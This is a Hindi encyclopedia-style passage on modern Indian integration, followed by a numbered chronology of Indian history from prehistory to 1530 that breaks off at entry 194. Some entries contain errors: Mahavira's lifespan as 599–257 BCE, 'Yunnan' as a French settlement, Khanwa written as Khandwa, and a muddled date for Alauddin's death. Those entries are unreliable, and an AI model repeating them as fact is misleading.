भारतीय संविधान सभा के द्वारा 26 नवम्बर 1949 में संविधान पास किया गया। भारत का संविधान अधिनियम 26 जनवरी 1950 को लागू कर दिया गया। इस संविधान में भारत को लौकतांत्रिक गणराज्य घोषित किया गया था और संघात्मक शासन की व्यवस्था की गयी थी। डाक्टर राजेन्द्र प्रसाद को पहला राष्ट्रपति चुना गया और बहुमत पार्टी के नेता के रूप में पंडित जवाहर लाल नेहरू ने प्रधान मंत्री का पद ग्रहण किया। इस पद पर वे 27 मई 1964 ई. में, अपनी मृत्यु तक बने रहे। नवोदित भारतीय गणराज्य के लिए उनका दीर्घकालीन प्रधानमंत्रित्व बड़ा लाभदायी सिद्ध हुआ। उससे प्रशासन तथा घरेलू एवं विदेश नीतियों में निरंतरता बनी रही। पंडित नेहरू ने वैदेशिक मामलों में गुट-निरपेक्षता की नीति अपनायी और चीन से राजनयिक सम्बन्ध स्थापित किये। फ्राँस ने 1951 ई. में चंद्रनगर शान्तिपूर्ण रीति से भारत का हस्तांतरित कर दिया। 1956 ई. में उसने अन्य फ्रेंच बस्तियाँ (पांडिचेरी, कारीकल, माहे तथा युन्नान) भी भारत को सौंप दीं। पुर्तग़ाल ने फ्राँस का अनुसरण करने और शान्तिपूर्ण रीति से अपनी पुर्तग़ाली बस्तियाँ (गोवा, दमन और दीव) छोड़ने से इंकार कर दिया। फलस्वरूप 1961 ई. में भारत को बलपूर्वक इन बस्तियों को लेना पड़ा[8]। इस तरह भारत का एकीकरण पूरा हो गया।
इतिहास तिथि क्रम 1947 तक
क्रम
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तिथि क्रम
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विवरण
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1
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7000 ई.पू.
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राजस्थान (साम्भर) में बोने पौधे के प्रथम साक्ष्य।
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2
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6000 ई.पू.
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मेहरगढ़ (सिंध-बलूचिस्तान सीमा), बुर्ज़होम (कश्मीर) में भारत के प्राचीनतम आवास, कृषि तथा पशुपालन के अवशेष।
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3
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5000–4000 ई.पू.
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बागोर (भीलवाड़ा) तथा आदमगढ़ (होशंगाबाद) के निकट आखेटकों द्वारा भेड़-बकरी पालन के प्रथम अवशेष।
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4
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4000–3000 ई.पू.
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खेतिहारों-पशुपालकों की स्थानीय सभ्यताएँ।
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5
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2500 ई.पू.
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सिंधु घाटी में पूर्व-हड़प्पा सभ्यता के नगरों का विकास, अस्थि एवं प्रस्तर उपकरण तथा मनकों के आभूषण के अवशेष।
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6
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2500–1750 ई.पू.
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रेडिया-कार्बन तिथि-निर्धारण के आधार पर हड़प्पा सभ्यता का काल-विस्तार।
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7
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2250–2000 ई.पू.
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हड़प्पा सभ्यता का पूर्ण-विकसित दौर, विघटन तथा स्थानीय सभ्यताओं का उदय।
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8
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1500 ई.पू.
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भारत में आर्यों का आगमन, ऋग्वेद की रचना, वैदिक काल (1500-1000) प्रारम्भ, गंगा के मैदान में आर्योत्तर ताम्र सभ्यता।
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9
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1000 ई.पू.
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आर्यों का (गंगा मैदान) विस्तार, उत्तर वैदिक काल प्रारम्भ, 'ब्राह्मण ग्रन्थों' की रचना, वर्ण व्यवस्था का बीजारोपण, लौह धातु का प्रयोग प्रारम्भ।
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10
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950 ई.पू.
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महाभारत का युद्ध।
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11
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800 ई.पू.
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महर्षि व्यास के द्वारा महाभारत महाकाव्य की रचना, आर्यों का दक्षिण-पूर्व (बंगाल) की ओर विस्तार, रामायण का प्रथम वृत्तान्त।
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12
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600–550 ई.पू.
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उपनिषदों की रचना, आर्यों का विदर्भ तथा गोदावरी तक दक्षिण-विस्तार। सोलह महाजनपदों की स्थापना, आर्य सभ्यता में कर्मकाण्डीय अनुष्ठान प्रतिष्ठित।
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13
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563–483 ई.पू.
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बौद्ध धर्म के संस्थापक गौतम बुद्ध का जीवन काल, जन्म-लुम्बिनी, मृत्यु-कुशीनगर।
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14
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599–257 ई.पू.
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जैन धर्म के पुनर्प्रतिष्ठापक वर्धमान महावीर का काल (जन्म-कुन्डग्राम, वैशाली), मृत्यु-पावापुरी, कुशीनगर।
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15
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544–492 ई.पू.
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गौतम बुद्ध के समकालिक बिम्बिसार (हर्यक वंश) का राज्यकाल, मगध राज्य की श्रेष्ठता।
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16
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517–509 ई.पू.
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हखमनी वंश (ईरान) के सम्राट डेरियस प्रथम के साथ प्रथम विदेशी आक्रमण, आर्यों की पराजय, यूनानी नौ-सेनापति स्काइलैक्स द्वारा सिन्धु नदी पर गवेषण अभियान।
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17
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492–460 ई.पू.
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बिम्बिसार के पुत्र अजातशत्रु का राज्यकाल।
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18
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412–344 ई.पू.
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शिशुनाग वंश का शासनकाल, अवन्ति के प्रद्यौत वंश का मगध साम्राज्य में विलय।
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19
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400 ई.पू.
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सम्पूर्ण दक्षिण भारत में आर्यों का प्रभुत्व, सम्भवतः श्रीलंका तक विस्तार। (दक्षिण भारत)
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20
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344 ई.पू.
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महापद्मनन्द द्वारा मगध में नंदवंश की स्थापना।
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21
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326 ई.पू.
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नंद वंशी राजा घनानंद की सैन्य शक्ति से प्रभावित होकर सिकन्दर के सैनिकों का वापस लौटने का इरादा, वापसी मार्ग में बेबीलोन में सिकन्दर की मृत्यु।
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22
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322 ई.पू.
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चंद्रगुप्त मौर्य द्वारा (कौटिल्य की मदद से) नंद शासक घनानंद को पराजित कर मौर्य वंश की स्थापना।
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23
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315 ई.पू.
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इण्डिका के लेखक तथा सेल्युकस (यूनानी शासक) के दूत मेगस्थनीज़ का भारत में आगमन।
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24
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298–273 ई.पू.
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चन्द्रगुप्त मौर्य के पुत्र बिन्दुसार का राज्य काल।
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25
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273–232 ई.पू.
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अशोक का शासनकाल, मौर्यवंश का स्वर्णयुग, अशोक द्वारा कलिंग की विजय (262-61)।
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26
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185 ई.पू.
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अन्तिम मौर्य शासक बृहद्रथ की हत्या कर मौर्य सेनापति पुष्यमित्र शुंग द्वारा शुंग वंश की स्थापना।
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27
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190–171 ई.पू.
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यवन शासक डेमेट्रियस का राज्यकाल।
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28
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165 ई.पू.
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कलिंग शासक खारवेल द्वारा 'त्रमिरदेश संघटम' (पाण्ड्य, चोल) राज्य पर विजय।
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29
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155–130 ई.पू.
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सबसे प्रसिद्ध यवन शासक 'मिनान्डर' (मिलिन्द) का राज्यकाल।
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30
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145 ई.पू.
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चोल राजा एलारा की श्रीलंका के शासक असेल पर विजय तथा लगभग 50 वर्षों तक शासन।
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31
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128 ई.पू.
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यूची आक्रमण के भय से शक क़बीलों का भारत में पंजाब से प्रवेश।
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32
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71 ई.पू.
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शुंग वंश के अन्तिम सम्राट देवभूति की हत्या, वसुदेव के द्वारा कण्व वंश की स्थापना।
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33
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60 ई.पू.
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आन्ध्र में सिमुक द्वारा सातवाहन वंश की स्थापना।
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34
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58 ई.पू.
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उज्जैन के शासक विक्रमादित्य द्वारा विक्रम संवत का प्रारम्भ।
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35
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50 ई.पू.
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दक्षिण भारत (दक्कन) में सातवाहन वंश शुरू।
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36
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22 ई.पू.
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रोम के शासक आगस्टस के दरबार में पाण्ड्य राजदूत पहुँचा, चोल, पाण्ड्यों का रोम में व्यापारिक सम्बन्ध।
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37
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14–13 ई.
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शक (हिन्द-पार्थियन) शासक गोंडोफ़ॅरस का शासन, ईसाई धर्म प्रचार हेतु रोमन संत सेंट टामस का भारत में आगमन।
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38
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15 ई.
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कुषाणों (यूची का तोचारियन) का भारत में प्रवेश।
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39
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64 ई.
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उत्तर-पश्चिमी भारत में शक विम कडफ़ाइसिस का राज्य।
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40
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78 ई.
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कुषाण वंश के महानतम शासक कनिष्क का राज्यारोहण, उसके द्वारा शक संवत का प्रारम्भ।
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41
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78–101 ई.
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कनिष्क का शासनकाल, चौथी बौद्ध संगीति का (कश्मीर में) आयोजन।
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42
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100 ई.
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अश्वघोष द्वारा 'सौन्दरानन्द' तथा 'बुद्धचरित' एवं 'कुमारलाट' के द्वारा 'कल्पमंदितिका' की रचना।
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43
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100–200 ई.
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संगम युग, करिकाल का शासन (त्रिचनापल्ली के निकट कावेरी नदी पर सिंचाई बाँध का निर्माण)। (दक्षिण भारत)
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44
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109–132 ई.
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महानतम सातवाहन शासक गौतमीपुत्र सातकर्णि द्वारा राज्य विस्तार।
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45
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150 ई.
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बघेलखण्ड, वाराणसी तथा आगे चलकर मथुरा तक के क्षेत्र में भारशिव नागाओं की विभिन्न शाखाओं का राज्य।
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46
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200–250 ई.
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सातवाहनों का पतन, महाराष्ट्र में आभीर, उत्तरी कनारा तथा मैसूर ज़िलों में कुन्तल और कटु, आन्ध्र में इक्ष्वाकु तथा विदर्भ में वाकाटकों की सत्ता स्थापित।
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47
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300–888 ई.
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कांची में पल्लवों का शासनकाल। (दक्षिण भारत)
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48
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225 ई.
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विंध्यशक्ति द्वारा वाकाटक शासन की स्थापना, अगले 272 वर्षों तक इस वंश का शासन।
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49
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250 ई.
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नासिक में आभीरों द्वारा त्रैकुटकर वंश की स्थापना, अगले 250 वर्षों तक इस वंश का शान।
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50
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320–335 ई.
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चन्द्रगुप्त प्रथम ने गुप्त वंश को स्थापित किया।
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51
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325 ई.
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कृष्णा नदी के दक्षिण में पल्लव वंशी राज्य की स्थापना।
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52
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335–376 ई.
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समुद्रगुप्त का शासनकाल।
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53
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330–375 ई.
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सम्पूर्ण उत्तर भारत में समुद्रगुप्त का शासन। पूर्व में असम, पश्चिम में काबुल, उत्तर में नेपाल तथा दक्षिण में पल्लवों तक, केवल उज्जैन स्वतंत्र (शक वंश के अधीन)।
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54
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350 ई.
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मयूरशर्मन द्वारा कदम्ब वंश की स्थापना जो अगले 200 वर्षों तक विद्यमान रहा।
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55
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375–413 ई.
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चन्द्रगुप्त द्वितीय विक्रमादित्य द्वारा उज्जैन, मालवा तथा गुजरात पर विजय, राजधानी पाटलिपुत्र से अयोध्या और तत्पश्चात कौशाम्बी स्थानान्तरित, चीनी यात्री फ़ाह्यान का भारत आगमन।
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56
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415–454 ई.
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कुमारगुप्त प्रथम का शासनकाल, नालन्दा में बौद्ध विहार तथा विश्वविद्यालय की स्थापना, हुणों के आक्रमण का ख़तरा।
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57
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455–467 ई.
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स्कन्दगुप्त का शासनकाल, हूणों का भारत पर प्रथम आक्रमण तथा उनकी पराजय।
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58
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477–496 ई.
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बुद्धगुप्त गुप्तवंश का अन्तिम सम्राट, गुप्तवंश का विघटन प्रारम्भ।
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59
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490–766 ई.
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सौराष्ट्र के बल्लभी क्षेत्र में मैत्रक (सम्भवतः विदेशी मूल) आक्रामकों का शासन। (पश्चिम भारत)
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60
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500–502 ई.
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हूणों के प्रथम शासक तोरमाण द्वारा भारत में राज्य स्थापना तथा मध्यवर्ती भाग (मालवा में एरण) तक उसका विस्तार।
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61
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500–757 ई.
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पश्चिम तथा मध्य दक्कन में वातापी का प्रथम चालुक्य वंश। (दक्षिण भारत)
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62
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502–528 ई.
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तोरमाण का उत्तराधिकारी मिहिरकुल भारत में गुप्त शासक भानुगुप्त द्वारा पराजित, एरण पर गुप्तवंश का पुनः अधिकार, (510)।
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63
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533 ई.
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मंदसौर के यशोधर्मन की मिहिरकुल पर विजय।
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64
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540 ई.
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परवर्ती गुप्त तथा गुप्त वंश की मुख्य शाखा का अन्त।
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65
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550–861 ई.
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मध्य राजपूताना में मध्य एशिया में आये हुए गुर्जर खानाबदोश दलों का शासन स्थापित। (पश्चिम भारत)
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66
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600–1200 ई.
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मौखरि वंश के शासक यशोवर्मन की मृत्यु (752), उत्तर, मध्य, पश्चिम तथा दक्षिण भारत में अनेक सामंतों के द्वारा स्वतंत्रता की घोषणा, अनेक छोटे-बड़े राज्यों का उदय, बंगाल में गौड़, खंग, वर्मन, पाल तथा सेन वंश, उज्जैन में गुर्जर-प्रतिहार, कन्नौज में प्रतिहार, उड़ीसा में भौम, भंज, सोम तथा पूर्वी गंग वंश, असम में भास्कर वर्मा, गुजरात में चालुक्य, धारा में परमार, नर्मदा-त्रिपुरी तथा उत्तर प्रदेश में कलचुरी, राजस्थान में चाहमान (चौहान), बुंदेलखण्ड में चंदेल, कन्नौज में गहड़वाल, कश्मीर में कार्कोट, उत्पल तथा लोहार, अफ़ग़ानिस्तान-पंजाब में हिन्दुशाही वंश।
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67
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606–647 ई.
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हर्ष (पुष्यभुति या कान्यकुब्ज वंश) का शासनकाल। चीनी बौद्ध यात्री ह्वेन त्सांग का भारत आगमन (630-44), बाणभट्ट ने 'हर्षचरित' की रचना की।
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68
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630–970 ई.
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पूर्वी दक्कन में वेंगी के पूर्वी चालुक्यों का शासनकाल। (दक्षिण भारत)
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69
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636–637 ई.
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ख़लीफ़ा उमर के समय में अरबों का भारत पर पहला अभिलिखित हमला। (दक्षिण भारत)
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70
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643 ई.
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चीनी यात्री ह्वेनसांग की चीन वापसी। (दक्षिण भारत)
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71
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647 ई.
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तिब्बत से कन्नौज आते हुए ह्वेन सांग पर किसी स्थानीय सामंत के द्वारा हमला। हर्षवर्धन की मृत्यु। (दक्षिण भारत)
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72
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674 ई.
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विक्रमादित्य प्रथम, चालुक्य और परमेश्वर वर्मन प्रथम, पल्लव शासक बने। (दक्षिण भारत)
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73
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675–685 ई.
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तीसरे चीन यात्री इत्सिंग का नालन्दा आवास। (दक्षिण भारत)
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74
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700 ई.
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कन्नौज में यशोवर्मन (मौखरि वंश) सिंहासनारूढ़, संस्कृत नाट्यकार भवभूति तथा प्राकृत कवि वाक्पतिराज को उसके राजदरबार में संरक्षण।
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75
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700–900 ई.
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दक्षिण भारत में आलवारों (वैष्णव) का भक्ति आंदोलन, भक्ति संग्रह 'प्रबंधम्' की रचना। (दक्षिण भारत)
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76
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712 ई.
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मुहम्मद बिन क़ासिम के नेतृत्व में भारत पर प्रथम अरब आक्रमण, मैत्रक राज्य का पतन। (पश्चिम भारत), मुहम्मद बिन क़ासिम का सिन्ध पर आक्रमण, देवलगढ़ विजय, निरुन की लड़ाई में हिन्दू राजा दाहिर की मृत्यु, क़ासिम की ब्राह्मणाबाद पर विजय।
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77
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730 ई.
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कन्नौज में मौखरी शासक यशोवर्मन सिंहासनरुढ़।
|
78
|
753–774 ई.
|
ख़लीफ़ा मंसूर के काल में ब्रह्मगुप्त के 'ब्रह्म सिद्धान्त' तथा 'खण्डनखाड्य' का अल्फ़जारी द्वारा अरबी में अनुवाद।
|
79
|
757–973 ई.
|
मान्यखेत में राष्ट्रकूटों का शासनकाल। (दक्षिण भारत)
|
80
|
740–1036 ई.
|
उत्तर भारत में गुर्जर-प्रतिहारों का आधिपत्य, अरबों का प्रतिरोध। (उत्तरी भारत)
|
81
|
746–974 ई.
|
छाप या छापौटकट्ट, गुर्जर क़बीले द्वारा 746 के आसपास अन्हिलपुर (आनन्दपुर) की स्थापना, जो 15वीं शती तक पश्चिम भारत का प्रमुख नगर रहा। (पश्चिम भारत)
|
82
|
786–808 ई.
|
ईरानी शासक ख़लीफ़ा हारून-अल-रशीद का शासनकाल, बरमस्क (एक मन्त्री) द्वारा भारत के अनेक वैद्यों, ज्योतिषियों, रसायनशास्त्रियों, विचारकों को बग़दाद बुलाकर उनसे इन विषयों के अनेक ग्रन्थों का अरबी में अनुवाद करवाया।
|
83
|
824–924 ई.
|
वैष्णव भक्तिकाल।
|
84
|
831–1310 ई.
|
चन्देलों द्वारा बुंदेलखण्ड में स्वतंत्र राज्य की स्थापना, अनेक विष्णु मन्दिरों और खजुराहों के मन्दिरों का भी निर्माण। (पश्चिम भारत)
|
85
|
840–890 ई.
|
सतलुज से नर्मदा नदी तक मिहिरभोज या भोज का शासन। (पश्चिम भारत)
|
86
|
950–1200 ई.
|
इंदौर के पास धारा में परमारों का राज्य, जिनमें मुंज (974-994) तथा भोज प्रसिद्ध राजा हुए, भोज ज्योतिष, काव्यशास्त्र, वास्तुकला तथा संस्कृति का विद्वान था। (पश्चिम भारत)
|
87
|
973–1189 ई.
|
कल्याणी का द्वितीय चालुक्य वंश। (दक्षिण भारत)
|
88
|
974–1240 ई.
|
चालुक्यों का अन्हिलपुर, सौराष्ट्र तथा आबू क्षेत्र में प्रभुत्व, चालुक्य शासक मूलराज का शासन काल (974-995)। (पश्चिम भारत)
|
89
|
985–1014 ई.
|
चोल शासक राजराज का शासनकाल, भूमि-सर्वेक्षण का प्रारम्भ (1000 ई.)। (दक्षिण भारत)
|
90
|
986–87 ई.
|
खुरासनी शासक अलप्तगीन के ग़ुलाम सुबुक्तगीन का काबुल-कंधार में हिन्दुशाही शासक जयपाल पर प्रथम आक्रमण, जयपाल पराजित।
|
91
|
997–998 ई.
|
सुबुक्तगीन की मृत्यु, महमूद गजनवी खुरासान की गद्दी पर बैठा।
|
92
|
999 ई.
|
बग़दाद के ख़लीफ़ा द्वारा महमूद गजनवी को स्वतुत्र शासक के रूप में मान्यता।
|
93
|
1000 ई.
|
महमूद गजनवी का भारत पर (काबुल में) प्रथम आक्रमण, स्थानीय जनता पर लूट तथा जबरन धर्म परिवर्तन।
|
94
|
1002 ई.
|
महमूद गजनवी का तीसरा आक्रमण, आनन्दपाल से युद्ध तथा उसकी पराजय।
|
95
|
1010 ई.
|
आनन्दपाल अपमानजनक शर्तों पर महमूद गजनवी का सामंत बना।
|
96
|
1011–1012 ई.
|
महमूद का थानेश्वर पर हमला, उत्तर-पश्चिम भारत में हिन्दुशाही वंश के छोटे-बड़े सभी राज्य ध्वस्त।
|
97
|
1013 ई.
|
आनन्दपाल की मृत्यु, पुत्र त्रिलोचनपाल उत्तराधिकारी बना।
|
98
|
1014 ई.
|
तोषी की लड़ाई में त्रिलोचनपाल परास्त, झेलम तक का क्षेत्र महमूद गजनवी के राज्य में सम्मिलित।
|
99
|
1014–1044 ई.
|
चोल राजा राजेन्द्र का शासनकाल, श्रीलंका की विजय (1018), बंगाल पर आक्रमण (1021)। (दक्षिण भारत)
|
100
|
1017 ई.
|
शंकराचार्य के 'मायावाद' का खंडन कर विशिष्टाद्वैतवाद मत की स्थापना करने वाले वैष्णव आचार्य रामानुज का जन्म।
|
101
|
1018–1019 ई.
|
महमूद गजनवी का गंगा नदी-यमुना दोआब क्षेत्र पर क़ब्ज़ा।
|
102
|
1025–1026 ई.
|
गजनवी के द्वारा सोमनाथ मन्दिर (गुजरात) की लूट।
|
103
|
1026 ई.
|
अन्तिम हिन्दूशाही शासक भीमपाल की मृत्यु, काबुल-कंधार के हिन्दुशाही वंश का अन्त।
|
104
|
1027 ई.
|
जाटों को कुचलने के लिए महमूद गजनवी का भारत (गुजरात-सिन्ध) पर 17वाँ व अन्तिम आक्रमण।
|
105
|
1030 ई.
|
महमूद गजनवी की मृत्यु; मसूद, गजनी का सुल्तान, 'किताब-उल-हिन्द' के लेखक अलबेरूनी का भारत आगमन।
|
106
|
1043 ई.
|
स्थानीय हिन्दू राजाओं का लाहौर पर पुनः अधिकार कर स्वाधीन राज्य स्थापित करने का प्रयास विफल।
|
107
|
1044–52 ई.
|
राजेन्द्र के उत्तराधिकारी राजाधिराज प्रथम का शासनकाल। (दक्षिण भारत)
|
108
|
1052–64 ई.
|
राजेन्द्र द्वितीय का शासनकाल। (दक्षिण भारत)
|
109
|
1064–70 ई.
|
वीर राजेन्द्र चोल का शासनकाल। (दक्षिण भारत)
|
110
|
1070–1120 ई.
|
कुलोत्तुंग प्रथम का शासनकाल, आन्ध्र का चोल राज्य में विलेय (1076)। (दक्षिण भारत)
|
111
|
1120–1267 ई.
|
परवर्ती चोल शासकों का काल। (दक्षिण भारत)
|
112
|
1131 ई.
|
कर्नाटक में लिंगायत सम्प्रदाय के संस्थापक संत बासवेश्वर या बासव का जन्म। (दक्षिण भारत)
|
113
|
1137 ई.
|
विशिष्टाद्वैतवाद मत के विचारक संत रामानुजाचार्य का देहान्त।
|
114
|
1162 ई.
|
द्वैतवादी वैष्णव संत निम्बार्क स्वामी का जन्म।
|
115
|
1163 ई.
|
मुइजुद्दीन मोहम्मद गौरी गजनी का शासन बना।
|
116
|
1167 ई.
|
संत बाससेश्वर का निधन।
|
117
|
1191 ई.
|
तराईन के प्रथम युद्ध में राजपूत शासक पृथ्वीराज तृतीय के हाथों मुहम्मद गोरी पराजित।
|
118
|
1192 ई.
|
तराईन का दूसरा युद्ध, मोहम्मद गौरी के हाथों पृथ्वीराज तृतीय की हार, गौरी का ग़ुलाम कुतुबुद्दीन ऐबक भारत का सूबेदार नियुक्त, मेरठ एवं कौल (अलीगढ़) पर अधिकार।
|
119
|
1192–1193 ई.
|
दिल्ली पर कुतुबुद्दीन ऐबक का आधिपत्य।
|
120
|
1199 ई.
|
द्वैतवादी सम्प्रदाय के आचार्य महादेव मध्वाचार्य का जन्म।
|
121
|
1200 ई.
|
मोहम्मद गौरी की मृत्यु।
|
122
|
1206 ई.
|
कुतुबुद्दीन ऐबक द्वारा 'दिल्ली सल्तनत' की स्थापना; दिल्ली सल्तनत पर शासन करने वाले प्रथम वंश- 'इल्बरी वंश' की स्थापना; क़ुतुबमीनार का निर्माण आरम्भ।
|
123
|
1210 ई.
|
ऐबक की मृत्यु, आरामशाह उत्तराधिकारी बना।
|
124
|
1211–1236 ई.
|
इल्तुतमिश का शासनकाल, रणथम्भौर विजय (1226)।
|
125
|
1221 ई.
|
भारत पर चंगेज़ ख़ाँ का हमला।
|
126
|
1228 ई.
|
बग़दाद के ख़लीफ़ा से इल्तुतमिश को 'खिल्लत' अर्थात् 'इस्लामी शासक के रूप में मान्यता'।
|
127
|
1229 ई.
|
प्रथम यूरोपीय यात्री मान्टे कैर्बनो (इटली) का भारत आगमन।
|
128
|
1236 ई.
|
इल्तुतमिश के उत्तराधिकारी रुकुनुद्दीन फ़ीरोज़शाह की मृत्यु, रजिया सुल्तान गद्दी पर बैठी।
|
129
|
1239 ई.
|
इख़्तियारुद्दीन अल्तूनिया का विद्रोह।
|
130
|
1240 ई.
|
रजिया सुल्तान की हत्या।
|
131
|
1241 ई.
|
भारत पर मंगोलों का प्रथम आक्रमण।
|
132
|
1246 ई.
|
सुल्तान नसीरुद्दीन गद्दी पर आसीन, 1265 में उसकी मृत्यु।
|
133
|
1253 ई.
|
अमीर ख़ुसरो का जन्म।
|
134
|
1266 ई.
|
गयासुद्दीन बलबन गद्दी पर बैठा।
|
135
|
1279 ई.
|
महाराष्ट्र में संत सम्मेलन का आयोजन।
|
136
|
1279 ई.
|
बंगाल में तुगरिल ख़ाँ का विद्रोह।
|
137
|
1286 ई.
|
बलबन की मृत्यु।
|
138
|
1288–1293 ई.
|
प्रसिद्ध वेनिश यात्री मार्को पोलो की भारत यात्रा।
|
139
|
1290 ई.
|
जलालुद्दीन ख़िलजी दिल्ली का सुल्तान, ख़िलजी वंश की स्थापना।
|
140
|
1294 ई.
|
अलाउद्दीन ख़िलजी का देवगिरि अभियान।
|
141
|
1295–1316 ई.
|
अलाउद्दीन ख़िलजी दिल्ली का सुल्तान, राज्य-विस्तार अभियान प्रारम्भ; गुजरात (1299), रणथम्भौर (1301), चित्तौड़ (1303), मालवा (1305), मलिक काफ़ूर के नेतृत्व में दक्कन अभियान, 1320-1325-अलाउद्दीन की मृत्यु
|
142
|
1320–1325 ई.
|
ग़यासुद्दीन तुग़लक़ (गाज़ी मलिक) दिल्ली का सुल्तान बना, तुग़लक़ वंश की स्थापना, काकतीय तथा पाण्ड्यों के राज्य का दिल्ली सल्तनत में विलय (1321-1323)।
|
143
|
1325 ई.
|
ग़यासुद्दीन की मृत्यु, मुहम्मद बिन तुग़लक़ गद्दी पर आसीन, अमीर ख़ुसरो की मृत्यु, फैंसिस्कन पादरी आडोरिक आफ़ पोर्डेनॉन की भारत यात्रा।
|
144
|
1326–1327 ई.
|
मुहम्मद तुग़लक़ द्वारा दिल्ली से दौलताबाद राजधानी का स्थानान्तरण।
|
145
|
1330 ई.
|
मुहम्मद तुग़लक़ द्वारा प्रयोग के तौर पर सोने के स्थान पर ताँबे के सिक्के जारी किए गए।
|
146
|
1333 ई.
|
अफ़्रीकी यात्री इब्नबतूता की भारत यात्रा।
|
147
|
1336 ई.
|
हरिहर एवं बुक्का द्वारा विजयनगर राज्य की स्थापना।
|
148
|
1342
|
इब्नबतूता का चीन को प्रस्थान।
|
149
|
1347 ई.
|
अलाउद्दीन बहमन शाह प्रथम के द्वारा बहमनी राज्य की स्थापना।
|
150
|
1350 ई.
|
विद्यापति का जन्म, संत नामदेव का निधन।
|
151
|
1351 ई.
|
मुहम्मद तुग़लक़ की मृत्यु, फ़िरोज़ शाह तुग़लक उत्तराधिकारी बना।
|
152
|
1351–1388 ई.
|
सुल्तान फ़िरोज़ शाह तुग़लक का राज्यकाल, बंगाल अभियान (1353-54, 1359, 1369), कांगड़ा विजय (1360-61), थट्टा विजय (1371-72), फ़िरोज की मृत्यु।
|
153
|
1388–1414 ई.
|
परवर्ती तुग़लक़ शासकों का शासनकाल।
|
154
|
1398 ई.
|
तैमूर लंग का भारत पर आक्रमण, दिल्ली पर अधिकार, भारत में अराजकता।
|
155
|
1399 ई.
|
दिल्ली सल्तनत का विघटन प्रारम्भ, सूबेदारों द्वारा स्वतंत्र राज्यों की स्थापना, दिल्ली-दोआब में इक़बाल ख़ाँ, गुजरात में जफ़र ख़ाँ, सिंध-मुल्तान में ख़िज़्र ख़ाँ, महोबा-कालपी में महमूद ख़ाँ, कन्नौज अथवा बिहार में ख्वाजा जहान, धारा (इन्दौर) में दिलावर ख़ाँ, समन में ग़ालिब ख़ाँ, बयाना में शख्स ख़ाँ तथा ग्वालियर में भीमदेव द्वारा स्वतंत्र राज्य स्थापित।
|
156
|
1411–42 ई.
|
अहमदशाह द्वारा अहमदाबाद की स्थापना एवं स्वतंत्रता की घोषणा।
|
157
|
1412 ई.
|
अन्तिम तुग़लक़ शासक महमूद की मृत्यु, तुग़लक़ वंश का पतन।
|
158
|
1414 ई.
|
दिल्ली पर ख़िज़्र ख़ाँ का अधिकार।
|
159
|
1420–1421 ई.
|
इटली के यात्री निकोलो कोंटी की भारत यात्रा।
|
160
|
1429 ई.
|
बहमनी राज्य की राजधानी गुलबर्गा से बीदर स्थानान्तरित।
|
161
|
1430–69 ई.
|
मेवाड़ में राणा कुम्भा का राज्यकाल।
|
162
|
1442 ई.
|
अब्दुर्रज्जाक की विजयनगर यात्रा।
|
163
|
1447 ई.
|
बहलोल लोदी का दिल्ली पर अधिकार, लोदी वंश की स्थापना।
|
164
|
1450 ई.
|
गोरखनाथ की साखियों की रचना।
|
165
|
1455 ई.
|
प्रसिद्ध संत कबीर का जन्म।
|
166
|
1469 ई.
|
सिक्ख धर्म के संस्थापक गुरुनानक देव का ननकाना (पंजाब) में जन्म।
|
167
|
1470 ई.
|
रूसी यात्री निकितिन की भारत यात्रा।
|
168
|
1472 ई.
|
शेरशाह सूरी का जन्म।
|
169
|
1479 ई.
|
बल्लभाचार्य का जन्म।
|
170
|
1483 ई.
|
जहीरूद्दीन बाबर का फरगना में जन्म।
|
171
|
1485 ई.
|
चैतन्य महाप्रभु का जन्म।
|
172
|
1486 ई.
|
पुर्तग़ाली नाविक सरदार बार्थोलोम्यो डिआज डेनोवेज ने 'केप ऑफ़ गुड होप' (शुभ यात्रा अंतरीप) की खोज की, इसी मार्ग से बाद में वास्कोडिगामा ने भारत की यात्रा की।
|
173
|
1489 ई.
|
सिकन्दर लोदी गद्दी पर आसीन, बीजापुर स्वाधीन।
|
174
|
1490 ई.
|
दिल्ली सल्तनत से अहमदनगर स्वाधीन।
|
175
|
1494 ई.
|
बंगाल में हुसैनशाह गद्दी पर आसीन, बाबर फरगना का अमीर बना।
|
176
|
1498 ई.
|
पुर्तग़ाली नाविक वास्कोडिगामा भारत में, कालीकट पहुँचा।
|
177
|
1502 ई.
|
पुर्तग़ाल के राजा जॉन द्वितीय को पोप अलेक्जेंडर षष्टम का 'बुल' प्रदान किया गया, जिससे पुर्तग़ालियों को भारत के साथ व्यापार करने का एकाधिकार तथा भारत में राज्य स्थापित करने का औपचारिक अधिकार मिला।
|
178
|
1503 ई.
|
फरगना बाबर के अधिकार से मुक्त।
|
179
|
1504 ई.
|
इटली के लुडोविको डी बार्थेमा की पश्चिम तथा दक्षिण भारत की यात्रा, काबुल पर अधिकार कर बाबर का मुल्तान की ओर प्रस्थान।
|
180
|
1507 ई.
|
गुजरात के शासक महमूद बेगड़ा का दीव (गोवा) में पुर्तग़ालियों के विरुद्ध अभियान।
|
181
|
1508 ई.
|
द्वितीय मुग़ल सम्राट हुमायूँ का जन्म।
|
182
|
1509 ई.
|
विजयनगर में कृष्णदेवराय सिंहासनरूढ़, पुर्तग़ाली गवर्नर फ़्रांसिस्को-द-अल्मेडा भारत आया।
|
183
|
1509–1527 ई.
|
मेवाड़ में राणा सांगा का राज्यकाल।
|
184
|
1510 ई.
|
गोवा पर पुर्तग़ालियों का अधिकार, अलबुकर्क गवर्नर बना।
|
185
|
1512–1518 ई.
|
गोलकुण्डा बहमनी राज्य से मुक्त।
|
186
|
1517 ई.
|
सिकन्दर लोदी की मृत्यु के पश्चात् इब्राहिम लोदी गद्दी पर बैठा।
|
187
|
1519 ई.
|
बाबर का भारत आगमन।
|
188
|
1520 ई.
|
बाबर का भीरा, सियालकोट पर आक्रमण।
|
189
|
1522 ई.
|
बाबर का कंधार पर अधिकार।
|
190
|
1523 ई.
|
लाहौर और सरहिन्द पर बाबर का आक्रमण, लाहौर पर अधिकार (1524)।
|
191
|
1526 ई.
|
(21 अप्रैल) बाबर तथा इब्राहिम लोदी के मध्य पानीपत का प्रथम युद्ध, इब्राहीम लोदी की पराजय तथा मृत्यु, दिल्ली पर क़ब्ज़े के साथ ही मुग़ल साम्राज्य की स्थापना।
|
192
|
1527 ई.
|
राणा संग्राम सिंह तथा बाबर के मध्य खांडवा का युद्ध (16 मार्च), संग्राम सिंह पराजित।
|
193
|
1528 ई.
|
राणा संग्राम सिंह की मृत्यु, बाबर ने सहयोग के बदले शेरशाह को सासाराम (बिहार) की पैतृक जाग़ीर वापस की।
|
194
|
1530 ई.
|
